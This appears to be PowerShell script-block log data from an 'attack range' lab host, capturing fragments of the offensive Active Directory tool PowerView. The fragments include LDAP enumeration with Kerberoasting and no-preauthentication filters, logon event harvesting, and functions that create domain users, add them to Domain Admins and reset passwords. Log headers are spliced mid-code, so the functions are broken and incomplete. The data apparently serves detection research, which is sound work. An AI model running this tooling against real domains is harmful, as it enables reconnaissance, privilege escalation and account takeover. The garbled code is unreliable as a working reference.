if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($ObjectSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
if (-not $ObjectSearcher) {
Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$ObjectName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$ObjectName)"
$SearcherArguments['Domain'] = $ObjectDomain
Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
if ($Filter -and $Filter -ne '') {
$ObjectSearcher.filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
else { $Results = $ObjectSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Object = $_
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
}
else {
$Object = Convert-LDAPProperty -Properties $_.Properties
$Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
}
$Object
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
}
}
$ObjectSearcher.dispose()
}
}
}
function Get-DomainObjectAttributeHistory {
<#
.SYNOPSIS
Returns the Active Directory attribute replication metadata for the specified
object, i.e. a parsed version of the msds-replattributemetadata attribute.
By default, replication data for every domain object is returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.
This is the domain attribute replication metadata associated with the object. The results are
parsed from their XML string form and returned as a custom object.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Only return replication metadata on the specified property names.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainObjectAttributeHistory -Domain testlab.local
Return all attribute replication metadata for all objects in the testlab.local domain.
.EXAMPLE
'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft
ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat
e ingChange ingDsaDN
-------- ---------- ------------ ------------ ------- ------------
CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124425Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1454 object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events to retrieve. Default of 5000.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer.
.EXAMPLE
Get-DomainUserEvent
Return logon events on the local machine.
.EXAMPLE
Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
Return all logon events from the last 3 days from every domain controller in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogonEvent
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogonEvent')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
# the XML filter we're passing to Get-WinEvent
$XPathFilter = @"
<QueryList>
<Query Id="0" Path="Security">
<!-- Logon events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4624)
and TimeCreated[
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
and
*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
</Select>
<!-- Logon with explicit credential events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4648)
and TimeCreated[
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
</Select>
<Suppress Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and
(Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)
]
]
and
*[
EventData[
(
(Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0')
or
Data[@Name='TargetUserName']='ANONYMOUS LOGON'
or
Data[@Name='TargetUserSID']='S-1-5-18'
)
]
]
</Suppress>
</Query>
</QueryList>
"@
$EventArguments = @{
'FilterXPath' = $XPathFilter
'LogName' = 'Security'
'MaxEvents' = $MaxEvents
}
if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($Computer in $ComputerName) {
$EventArguments['ComputerName'] = $Computer
Get-WinEvent @EventArguments| ForEach-Object {
$Event = $_
$Properties = $Event.Properties
Switch ($Event.Id) {
# logon event
4624 {
# skip computer logons, for now...
if(-not $Properties[5].Value.EndsWith('$')) {
$Output = New-Object PSObject -Property @{
ComputerName = $Computer
TimeCreated = $Event.TimeCreated
EventId = $Event.Id
SubjectUserSid = $Properties[0].Value.ToString()
SubjectUserName = $Properties[1].Value
SubjectDomainName = $Properties[2].Value
SubjectLogonId = $Properties[3].Value
TargetUserSid = $Properties[4].Value.ToString()
TargetUserName = $Properties[5].Value
TargetDomainName = $Properties[6].Value
TargetLogonId = $Properties[7].Value
LogonType = $Properties[8].Value
LogonProcessName = $Properties[9].Value
AuthenticationPackageName = $Properties[10].Value
WorkstationName = $Properties[11].Value
LogonGuid = $Properties[12].Value
TransmittedServices = $Properties[13].Value
LmPackageName = $Properties[14].Value
KeyLength = $Properties[15].Value
ProcessId = $Properties[16].Value
ProcessName = $Properties[17].Value
IpAddress = $Properties[18].Value
IpPort = $Properties[19].Value
ImpersonationLevel = $Properties[20].Value
RestrictedAdminMode = $Properties[21].Value
TargetOutboundUserName = $Properties[22].Value
TargetOutboundDomainName = $Properties[23].Value
VirtualAccount = $Properties[24].Value
TargetLinkedLogonId = $Properties[25].Value
ElevatedToken = $Properties[26].Value
}
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonEvent')
$Output
}
}
# logon with explicit credential
4648 {
# skip computer logons, for now...
if((-not $Properties[5].Value.EndsWith('$')) -and ($Properties[11].Value -match 'taskhost\.exe')) {
$Output = New-Object PSObject -Property @{
ComputerName = $Computer
TimeCreated = $Event.TimeCreated
EventId = $Event.Id
SubjectUserSid = $Properties[0].Value.ToString()
SubjectUserName = $Properties[1].Value
SubjectDomainName = $Properties[2].Value
SubjectLogonId = $Properties[3].Value
LogonGuid = $Properties[4].Value.ToString()
TargetUserName = $Properties[5].Value
TargetDomainName = $Properties[6].Value
TargetLogonGuid = $Properties[7].Value
TargetServerName = $Properties[8].Value
TargetInfo = $Properties[9].Value
ProcessId = $Properties[10].Value
ProcessName = $Properties[11].Value
IpAddress = $Properties[12].Value
IpPort = $Properties[13].Value
}
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ExplicitCredentialLogonEvent')
$Output
}
}
default {
Write-Warning "No handler exists for event ID: $($Event.Id)"
}
}
}
}
}
}
function Get-DomainGUIDMap {
<#
.SYNOPSIS
Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-Forest
.DESCRIPTION
Searches the forest schema location (CN=Schema,CN=Configuration,DC=testlab,DC=local) for
all objects with schemaIDGUID set and translates the GUIDs discovered to human-readable names.
Then searches the extended rights location (CN=Extended-Rights,CN=Configuration,DC=testlab,DC=local)
for objects where objectClass=controlAccessRight, translating the GUIDs again.
Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.OUTPUTS
Hashtable
Ouputs a hashtable containing a GUID -> Readable Name mapping.
.LINK
http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
$ForestArguments = @{}
if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential }
try {
$SchemaPath = (Get-Forest @ForestArguments).schema.name
}
catch {
throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
}
if (-not $SchemaPath) {
throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
}
$SearcherArguments = @{
'SearchBase' = $SchemaPath
'LDAPFilter' = '(schemaIDGUID=*)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$SchemaSearcher = Get-DomainSearcher @SearcherArguments
if ($SchemaSearcher) {
try {
$Results = $SchemaSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
}
}
$SchemaSearcher.dispose()
}
catch {
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
}
}
$SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights')
$SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)'
$RightsSearcher = Get-DomainSearcher @SearcherArguments
if ($RightsSearcher) {
try {
$Results = $RightsSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
}
}
$RightsSearcher.dispose()
}
catch {
Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
}
}
69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124424Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1354('/'))
$UserName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$UserName)"
$SearcherArguments['Domain'] = $UserDomain
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['SPN']) {
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
}
if ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['PreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
else { $Results = $UserSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$User = $_
$User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
}
else {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
}
$User
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
}
}
$UserSearcher.dispose()
}
}
}
function New-DomainUser {
<#
.SYNOPSIS
Creates a new domain user (assuming appropriate permissions) and returns the user object.
TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
.PARAMETER SamAccountName
Specifies the Security Account Manager (SAM) account name of the user to create.
Maximum of 256 characters. Mandatory.
.PARAMETER AccountPassword
Specifies the password for the created user. Mandatory.
.PARAMETER Name
Specifies the name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER DisplayName
Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER Description
Specifies the description of the user to create.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
Creates the 'harmj0y2' user with the specified description and password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
Creates the 'harmj0y2' user with the specified description and password, using the specified
alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Name,
[ValidateNotNullOrEmpty()]
[String]
$DisplayName,
[ValidateNotNullOrEmpty()]
[String]
$Description,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
# set all the appropriate user parameters
$User.SamAccountName = $Context.Identity
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
if ($PSBoundParameters['Name']) {
$User.Name = $Name
}
else {
$User.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$User.DisplayName = $DisplayName
}
else {
$User.DisplayName = $Context.Identity
}
if ($PSBoundParameters['Description']) {
$User.Description = $Description
}
Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
try {
$Null = $User.Save()
Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
$User
}
catch {
Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
}
}
}
function Set-DomainUserPassword {
<#
.SYNOPSIS
Sets the password for a given user identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified user -Identity,
which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
.PARAMETER Identity
A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
specifying the user to reset the password for.
.PARAMETER AccountPassword
Specifies the password to reset the target user's to. Mandatory.
.PARAMETER Domain
Specifies the domain to use to search for the user identity, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
Resets the password for 'andy' to the password specified.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
Resets the password for 'andy' usering the alternate credentials specified.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('UserName', 'UserIdentity', 'User')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{ 'Identity' = $Identity }
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
if ($User) {
Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
try {
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$Null = $User.Save()
Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
}
catch {
Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
}
}
else {
Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
}
}
}
function Get-DomainUserEvent {
<#
.SYNOPSIS
Enumerate account logon events (ID 4624) and Logon with explicit credential
events (ID 4648) from the specified host (default of the localhost).
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses an XML path filter passed to Get-WinEvent to retrieve
security events with IDs of 4624 (logon events) or 4648 (explicit credential
logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
A maximum of -MaxEvents (default of 5000) are returned.
.PARAMETER ComputerName
Specifies the computer name to retrieve events from, default of localhost.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime]69859593-9fd6-4276-9750-0d12703f9101
4104132150x0124423Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1254Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
}
$SchemaArguments = @{}
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
if ($TargetForest) {
$SchemaArguments['Forest'] = $TargetForest
}
}
PROCESS {
if ($PSBoundParameters['ReferencePropertySet']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
$ReferenceObjectProperties = $ReferencePropertySet
}
elseif ($PSBoundParameters['ReferenceObject']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
}
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
$Objects = Get-DomainUser @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $UserReferencePropertySet
}
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $GroupReferencePropertySet
}
}
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
$Objects = Get-DomainComputer @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $ComputerReferencePropertySet
}
}
else {
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
}
ForEach ($Object in $Objects) {
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
ForEach($ObjectProperty in $ObjectProperties) {
